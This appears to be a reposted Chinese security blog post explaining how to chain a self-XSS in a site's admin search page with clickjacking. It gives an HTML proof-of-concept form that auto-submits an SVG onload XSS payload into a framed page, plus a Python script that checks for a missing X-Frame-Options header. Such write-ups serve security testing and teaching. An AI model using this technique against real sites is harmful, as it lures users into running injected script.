组合拳玩转self-xss

Posted HACK学习呀

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了组合拳玩转self-xss相关的知识,希望对你有一定的参考价值。

起因

昨天跟朋友去看电影,团队的小伙伴说有个站点有个self-xss,想让我看看有没有什么好的利用方法,于是便有了此文章。

正文

漏洞出现在后台的一处搜索页面,输入一个简单payload便可弹窗

但是悲催的是这是一个self-xss,需要用户自己输入payload并点击搜索才可以弹窗

组合拳玩转self-xss

一般碰到这种的xss我第一时间想到的就是看一看是否存在Click Jacking,拿出自己的测试工具进行测试,发现可以劫持

组合拳玩转self-xss

剩下的就是尝试构造poc了

先来分析下流程:用户输入语句–>点击搜索–>触发漏洞

那么我们需要做的就是

诱导受害者点开连接–>点击按钮(同时将payload提交出去)–>触发漏洞

最终poc如下(未进行css的设置)

<html>
<head>
</head>
<form action='http://www.xxxx.com/xxx' method='POST' target='itest'>
<input type='hidden' name='search' value='"><svg/onload=alert(1)>'/>
<input type='submit' value='confirm' />
</form>
<iframe STYLE="width:1000;height:1000"name="itest"></iframe>
</body>
</html>

整个过程中比较麻烦的就是点击自动post提交,幸运的是html可以简单地做到,剩下的就是一个标签闭合问题了,单引号防止payload的双引号被闭合就ok,总体上写的比较烂,不能算是一个poc,效果如下

组合拳玩转self-xss

如果将按钮的css配置的再好一些,位置与原网页重合的话效果会更好,这里只是做一个简单的演示,其实还是自己懒….

附上检测代码


import requests


def jiance(urls):
urls = "{}".format(urls)
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'
}
reqst = requests.get(url=urls,headers=header,timeout=5)
if reqst.status_code == 200:
code = reqst.headers
try:
print(code['X-FRAME-OPTIONS'])
print('[n]X-FRAME-OPTIONS header, no click hijacking vulnerability can be used')
except:
print('[+]There is no X-FRAME-OPTIONS header. There is a clicking hijacking vulnerability')
print('[!]Remind:It may be a defense against JS. Please test it yourself')
else:
print('[n]bjective instability')
def main():
urls = input('Please enter the url to be detected (note to add http://):')
jiance(urls=urls)

if __name__ == '__main__':
main()

总结

这种提交型的self-xss还是第一次玩,还是很开心的…

https://lengjibo.github.io/%E7%BB%84%E5%90%88%E6%8B%B3%E7%8E%A9%E8%BD%ACself-xss/

以上是关于组合拳玩转self-xss的主要内容,如果未能解决你的问题,请参考以下文章

鸡肋CSRF和Self-XSS组合的变废为宝

一种结合了点击劫持Self-XSS复制粘贴劫持的新型XSS攻击

XSS Tricks – 从 Self-XSS 到登录你的账户

某搜索引擎Self-XSS点击劫持案例分享

Relay.js 没有正确解析组合片段

玩转Bash变量